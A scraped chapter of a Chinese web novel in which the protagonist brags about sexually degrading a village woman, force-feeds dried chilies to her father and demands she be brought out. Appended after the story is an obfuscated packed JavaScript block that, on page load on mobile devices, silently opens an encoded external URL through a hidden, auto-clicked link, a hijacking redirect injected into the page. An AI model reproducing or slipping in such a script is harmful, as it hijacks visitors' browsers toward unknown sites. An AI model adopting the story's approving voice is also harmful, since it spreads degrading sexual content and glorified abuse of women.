第五文学网 > 都市小说 > 至强财术 > 第509章 恶霸

    “小顺溜怎么了?”王有才看出吴大顺很恼火,他中年得子,媳妇去的又早,一向很疼爱这个儿子,今个能说出这等话来,显然对小顺溜很失望。

    “那个小畜生,咳……有才啊,咱不说这个,你们村儿现在开发的咋样了?”

    王有才见他欲言又止,心里更是摸不着底:“村里一切都好。老叔,你是不是想把我急死?到底咋回事?跟你大侄子还有啥不能说的?”

    吴大顺咬牙沉默了半晌,气恼的一挥手:“咳,还能咋的,他跟付三那狗东西混到一块儿去了!你不是让他去你那儿干活吗,他不肯,我逼着他去,他就一连七八天没回家!”

    王有才微微挑起了眉,付三什么揍性,十里八乡都知道,小顺溜要是真跟他混,以后傍水村就又多了个盲流子。

    如果只是胡混,到还不要紧,万一再沾上些不该沾的事,那麻烦就大了。

    他沉声问:“后来呢!”

    “后来倒是回来了,还特么给我带了个儿媳妇回来!”

    “啊?”王有才有点懵,小顺溜过完年还不到二十,就知道把婆娘往家里领了?

    “这也算好事吧,咋说也比找不着媳妇儿强,谁家闺女啊?”

    一提这个,吴大顺更是来气,张了好几次嘴都没说出口,气得眉毛直抖,最后一巴掌拍在炕上:“哪家?你当是哪家?就是李木匠家,那个千人骑万人上的破鞋闺女!”

    王有才顿时瞪大了眼睛,这特么算什么,报应吗?

    他当初把李水莲上下三个眼儿玩了个遍,还让王二驴一宿干了她八九回,差点没给捅烂糊喽,最后扒光了跟牛铁生他们扔到了一块儿,弄得艳名大振,街知巷闻。

    可现在,居然报应到了他这个小堂弟身上?

    王有才还没开口,吴大顺就接着说:“要光是往家里领,我都不带这么生气的,可那小娘们开口就管我叫爹,我让她滚,小顺溜居然说什么非她不娶,还说我再逼他,他就要跟李水莲私奔!咳!”

    吴大顺真是气坏了,说完这些,手扶着炕,呼呼直喘。

    王有才沉默了,难怪吴大顺没给他去个信,以吴大顺耿直的脾性,出了这样的事儿,他哪能张得开嘴?这也就是仗着他平时身子骨还算硬实,不然非得气躺下不可。

    但瞅吴大顺这架势,再这么继续下去,肯定要出大问题。

    让王有才纳闷的是,在他印象里,小顺溜是个很孝顺的孩子,怎么出去上了个学,回来就变成了这个样子?还是说,让付三给拐下了道?

    “他人呢?”王有才沉声问道。

    “昨个下午吃完饭,就说要去给老丈人拜年,到现在也没回来!”

    王有才一听,忍不住怒了,大年三十不在家陪他老子,居然出去跟破鞋混了一宿?还腆着脸说给老丈人拜年?这特么真是往畜生道上发展的节奏啊!

    王有才没吭声,安慰了吴大顺两句,接着跟刀强一起动手,麻利的把屋里收拾个干净。

    让刀强买了些速冻饺子和熟食回来,支上炕桌陪着吴大顺喝了几盅,捡些轻松的事情说了,多少让吴大顺的心情敞亮了点。

    “还是老宋有眼光,捡个儿子都这么有出息,有正事儿。我家小崽子哪怕能赶上你一半,我就做梦都能笑醒啦。”吴大顺喝了点酒,脸色有了几分红润,可还是忍不住长吁短叹。

    王有才笑道:“小顺溜岁数小,贪玩儿,你也别多寻思,你等着,我这就去把他拎回来。”

    说完,他也不管吴大顺啥反应,跳下炕,叫上刀强出了院儿。

    刚刚还笑呵呵的他,此时脸上就已经是阴云密布。

    他小的时候,最高兴的事儿就是宋神棍带他来傍水村儿,每次来,总有水果罐头吃不说,还可以满村子的疯玩,就算捅了什么篓子,宋神棍想揍他,也有吴大顺护着,十棍子到有八九下打在了吴大顺身上,打那时候起,他就已经把吴大顺当成了亲人。

    现在吴大顺上了年纪,不再是当年那个能挡在他身前,帮他拦棍子的粗壮汉子了。

    但在他印象里,当年的一幕一幕仿佛就发生在昨天。

    如果现在他还只是个盲流子,或许就只能帮吴大顺扫扫院子,多陪他唠唠嗑。

    可既然不是,那他就要做他该做的事儿,绝不能让吴大顺,晚景凄凉。

    王有才带着刀强,沿着傍水村中间的土道,往东边的菜地走。

    李木匠家,还有他的木匠棚子就在菜地边上,村公社留下的破院子也在那一片。

    王有才隐约记得,村公社的破院子被人包下来养过猪,黄了之后,就被盲流子占了,甭管小顺溜是在李家,还是跟付三混在一块儿,去哪儿找他准没错。

    此时正逢过年,村里提着大包小裹窜门子的人不少,看到王有才二人,不少人都面露诧异,王有才现在可是个名人,认识他的人很多,但要说人缘,那就着实不怎么样了。

    这得归功于他小时候太能作,把傍水村祸祸得不轻,直到现在,在众人印象里他还是个大盲流子,虽然不再游手好闲,但风评也是差劲的很。

    见村民一见着他,就远远避开,王有才露出一丝苦笑,在傍水村人的眼中,恐怕他也和付三一样,还是个彻头彻尾的混蛋吧。

    好在很快到了李东为家,李东为家院门紧闭,里边堆了不少木料,屋门也关着,窗户上绷着塑料布,看不着里边有人没人。

    略一打量,王有才的嘴角不自觉的翘了起来,算起来,他跟老李家还真是有缘分,当初李东为就把闺女卖给牛铁生,合伙给他下套,结果反过来让他把李水莲给干了,偷鸡不成蚀把米不说,闺女现在也成了街知巷闻的破鞋。

    没成想就算这样,他们还不知道消停,居然又由着李水莲去勾搭小顺溜,看来是铁了心要跟他王有才过不去啊。本来大年初一他不想找谁麻烦,但别人来惹他,那就怪不得他了。

    他也不敲门,直接一脚闷开了院门,生生把那刚漆过的木门给踹得掉了半扇儿,大摇大摆的进了院。

    门响惊动了屋里人,一个身材瘦高,一脸褶子,穿着藏蓝老中山装,却带了副粉碎花套袖,生了双蛤蟆眼的李东为从屋里钻了出来。

    “谁啊?”

    王有才咧嘴一笑,大步朝他走了过去:“老李头,过年好啊,我来给你拜个年!”

    李东为一见是他,顿时吓得没了动静,转身就想往回钻。

    王有才抢上两步把门给按关上了:“咋的,这么长时间不见,不认识我了?这么着急忙慌的,想要干啥去啊?”

    李东为脸上的褶子都直抖,不由自主的往后退:“哪能忘呢,王家大侄子,你咋上我们村儿来了。”

    不是李东为胆小,而是他心虚。

    他跟牛铁生合伙给王有才下套失败之后,得有两三个月没睡过一个安稳觉,就怕王有才找上门来拾掇他。

    可王有才哪有功夫搭理这个见钱眼开的老货,这才让他消停了几个月,本来他刚安心点,没成想王有才就真的找上门来了,他要是不心虚才怪。

    “来看你啊,当初给我送了那么一份儿大礼,我还没跟你道个谢呢,你是不是寻思,我给忘了呢?我王大能耐是那么没心没肺的人吗?”

    王有才狞笑着往前凑,把李东为逼得靠在了墙上,把墙上挂的一串辣椒都刮掉了地上。

    王有才拿脚一挑,就把早都干透的红辣椒挑在了手里:“哟,这辣椒红的可真喜庆,踩坏了可就白瞎了。”

    他拿着辣椒抖了抖,瞅着嘴唇儿都吓得直哆嗦的李东为:“说说吧,想让我咋谢谢你?”

    李东为双手连摇:“不用了……”

    王有才一把掐住了他的下巴,把干辣椒使劲儿塞了进去,连噎带呛,把李东为呛得剧烈咳嗽起来,拼命挣扎着想逃开,可又不敢推搡王有才,只能使劲往旁边躲。

    王有才想到当初差点没让李水莲给套上,心里就恨得直痒痒,岂会让他逃掉,活活把辣椒塞进去七八个,呛得他呜呜直叫唤。

    这当口,屋门一下被推开,李东为的媳妇冲了出来,拼命拉扯王有才的胳膊:“哎呀妈呀,这是干啥,松开,你这是干啥呀王有才……”

    王有才觉着火候也差不多了,这才甩手丢开了李东为,把剩下的辣椒往他脸上一摔,狞笑连连:“干啥?我特么还想问你们想干啥呢!”

    “我王大能耐招你们还是惹你们了,你们非得跟牛铁生那老梆子穿一条裤子祸祸我?”

    “你说,你们想干啥!”

    李东为被辣得涕泪交流,不停的干呕、咳嗽,他媳妇惊慌失措,又帮他拍背,又给他擦脸,忙活了半天才消停了点,老李婆子也已经吓得面无人色,强撑着道:“那都多长时间的事儿了,是,是我家老李糊涂做错了事,王小哥,王村长,求求你,你就放过我家老头子吧。”

    王有才抱着膀子,看着李东为蹲在墙根直咳嗽,一副恨不得把胃咳出来的可怜模样,他心里的气也消了不少,李东为是可恶,但也只是贪财罢了,那件事揭过去就揭过去了。

    但他这回,可不是为了这事儿来的!

    “想让我放过他也行,但有个条件,你闺女呢,把你闺女叫出来给老子陪个礼,我就放过他,你们觉着咋样?”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))